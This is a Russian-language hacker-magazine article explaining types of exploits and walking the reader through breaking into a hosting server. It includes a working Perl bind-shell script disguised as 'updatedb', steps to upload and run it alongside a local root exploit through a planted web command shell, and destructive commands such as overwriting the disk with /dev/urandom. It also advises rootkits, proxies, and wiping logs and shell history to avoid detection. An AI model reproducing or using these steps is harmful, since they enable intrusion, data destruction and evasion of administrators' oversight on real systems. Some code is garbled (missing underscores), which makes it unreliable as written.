DOS Shellcode Xploits

Чаще всего, эти эксплоиты удаленного действия. Целью, которую преследует хакер, натравливая такую штуку на уязвимый сервер, является выведение из строя атакуемого сервиса или всей операционной системы (да-да, бывают такие случаи, когда повешенный демон забирает с собой всю ОС). С каждым днем происходит все больше таких атак. Почему? Потому что тем, кто заказывает эти атаки, не нужна информация с сервера. Цель таких атак, как правило, банальное лишение конкурента дееспособности. Согласись, атаковать уязвимый сервис, подверженный DOS-атаке, проще, чем натравливать целую армию компьютеров на произведение ICMP– и подобных ей атак, действующих не проработанным принципом, а количеством. Второй причиной является то, что иногда, для того чтобы насолить врагу, достаточно DOS-атаки, а не rm –rf / (мне больше нравится cat /dev/urandom > /dev/hda – прим. Аваланча), а уязвимостей, позволяющих произвести убойную атаку, гораздо больше, чем тех, которые позволяют получить доступ. Это происходит потому, что часто переполнить буфер бывает достаточно легко, а впарить shell-код так, чтобы он выполнился как задумано, очень сложно, а порой даже нереально, так как в дырявой программе все-таки существует какая-то вредная проверка на вшивость.

Remote shell shellcode Xploits

Об этом классе эксплоитов я тоже уже успел упомянуть. После успешной атаки на уязвимую машину они открывают на ней порт, к которому можно подконнектиться и получить долгожданный shell с рутовыми правами. При этом в большинстве случаев тебе не придется пользоваться всеми удобствами /bin/bash: ты будешь юзать стандартный /bin/sh, так как именно его чаще всего вызывают shell-коды и именно он есть практически на всех машинах с *nix-системами на борту. Но не думай, что через этот порт всегда можно ходить в систему. Он легко убивается администратором, смывается ребутом или просто сам по себе отпадает после того, как от него отключишься.

Кто был никем, тот станет всем

Для исполнения локального эксплоита требуется хотя бы shell с правами nobody. А как его можно получить? Вот об этом я сейчас и расскажу.

Для начала понадобится доступ к одному из сайтов, которые хостятся на сервере. Это может быть FTP или дырявый web-скрипт, позволяющий выполнять команды (с помощью него мы не сможем полноценно запустить эксплоит, но сможем залить кое-что). Если FTP есть, а команды мы выполнять не можем, надо исправить эту оплошность, залив на сервер (сервер должен поддерживать PHP) такой скрипт:

Такая вот «малютка» умеет выполнять команды через запрос: www.target.com/cmd.php?cmd=команда.

Теперь нам потребуется realtime-доступ к /bin/sh, который нам предоставит нижерасположенный скрипт:

Potbind.pl

#!/usr/bin/perl

$port = 31337;

exit if fork;

$0 = «updatedb» . « « x100;

$SIG{CHLD} = 'IGNORE';

use Socket;

socket(S, PFINET, SOCKSTREAM, 0);

setsockopt(S, SOLSOCKET, SOREUSEADDR, 1);

bind(S, sockaddrin($port, INADDRANY));

listen(S, 50);

while(1){

accept(X, S);

unless(fork)

{ open STDIN, «<&X»;

open STDOUT, «> &X»;

open STDERR, «> &X»;

close X;

exec(«/bin/sh»);

} close X;}

После выполнения он откроет порт с shell’ом nobody, а пока сохраним его как bind.txt и зальем куда-нибудь на narod.ru. В случае с narod.ru нет необходимости называть его *.txt, можно сразу определить его как bind.pl, так как на Народе нет поддержки perl и скрипт сольется таким, каким он должен быть. А если на сервере есть поддержка perl, он загрузится в виде html-страницы, с результатами его выполнения. Но .txt он и в Африке .txt. Поэтому лучше назовем его так :). Эксплоит заливаем туда же.

Теперь, когда все готово, заливаем bind.txt и exploit.c через cmd.php командой wget или fetch для Linux или FreeBSD соответственно. Можно залить и с помощью сценария FTP (уж ftp есть везде). Заливать bind.txt и эксплоит желательно в /tmp. Теперь нам понадобится запустить bind.txt, для чего выполним через cmd.php такую команду: www.target.com/cmd.php?perl%20/tmp/bind.txt. Этим мы запустим скрипт bind.txt, который откроет для прослушивания порт 31337, где будет висеть shell с правами nobody. Теперь не помешало бы скомпилить сплоит. Делается обычно это так: gcc /tmp/exploit.c –o /tmp/exploit. Теперь телнетимся на 31337 порт target.com. В данном случае, если нет желания ставить «;» после каждой команды и видеть все более приглядно, можно использовать netcat (http://nsd.ru/soft/nc11nt.zip). Синтаксис таков: nc.exe target.com 31337. Теперь выполняем эксплоит… После каждой команды не забываем ввести «;» (если ты поленился юзать netcat и юзаешь обыкновенный telnet). Например, чтобы выполнить команду ls /tmp, надо ввести «ls /tmp;».

0-day, Private и Fake Xploits

Private Xploits – личные эксплоиты. О них никто ничего не знает, кроме автора и узкого круга его друзей. Иногда случаются утечки, и личное превращается в общее, называющееся 0-day, 0-day xploits – это новинки. Приватные и 0-day эксплоиты очень ценятся, потому что создатели программного обеспечения еще не подозревают об ошибке и в сети находятся сотни, тысячи, миллионы машин с этой уязвимостью, о которой почти никто не знает. Одним словом, это величайший рулез. Прикинь, какой можно создать ботнет, если уязвимость распространенная, а хакеров, которые о ней знают, всего несколько?

Отдельно стоит поговорить о fake-эксплоитах, которые все чаще и чаще встречаются. Фэйки – это, по сути, обман, который иногда бывает безвредным, а в некоторых случаях содержит в себе выгоду для создателя, например, добавляет еще одного зомби в его ботнет, а на экран использующего ее закера выдает сообщение о том, что система не подвержена атаке, или просто Segmentation Fault. Core dumped ;). Существуют целые группы, которые промышляют продажей якобы «0-day», за которыми на самом деле скрываются фейки. Их нужно опасаться и перед использованием эксплоита внимательно изучить исходник. Если он содержит шестнадцатеричные вставки, нужно расшифровать их, ибо за ними может скрываться троян.

Поиск уязвимостей

Отдельно хотелось бы поговорить о поиске уязвимостей. Порой очень трудно определить, какой софт стоит на удаленной системе, особенно когда не имеешь к ней даже малейшего доступа. На помощь приходят различные сканеры, например, Retina, Shadow Security Scanner, XSpider. Сканирование ими даст исчерпывающую информацию об удаленной системе.

Заключение

Вот, наверное, и все, что я хотел рассказать об эксплоитах. Этой информация достаточно для большого начинания. Желаю удачи, и пусть твои большие знания послужат благим целям.

Автор выражает благодарность NSD (nsd@nsd.ru) за скриншоты.

После того как взломщик получил рутшелл, ему понадобится закрепить свои права в системе. Примитивное создание нового рутового аккаунта не содержит в себе ничего привлекательного, так как созданный атакующим бэкдор, скорее всего, снесут уже в первые дни его жизни и еще постараются найти и пофиксить уязвимость, через которую кто-то левый смог получить доступ супервизора и создать его. В закреплении прав в системе помогут специальные программы – руткиты, о которых подробно написано в этом номере Спеца. Также руткит поможет остаться в системе незамеченным.

Всегда думай о своей безопасности! Никогда не мешает использовать соксы для подключения к удаленной системе. Если у тебя возникнут затруднения с выбором терминала для этих целей, я посоветую тебе PuTTY: он умеет работать через прокси– и сокс-сервера, а также имеет множество полезных функций, которые наверняка тебе пригодятся. Не нужно забывать чистить логи, ведь они – доказательство присутствия в системе. Не забудь почистить .bash_history, если ты зашел как обычный пользователь через стандартный ssh или telnet. Этот файлик обычно находится в домашней директории пользователя и, как ты уже заметил, является скрытым (перед именем файла стоит «.»). В хистори содержатся все команды, которые ты выполнял. И запомни: хистори записывается в файл только после того, как ты сделаешь лог-аут. Есть и другой вариант решения этой проблемы: после входа в систему выполнить команду «UNSET .HISTFILE».


Перейти на страницу:
Изменить размер шрифта: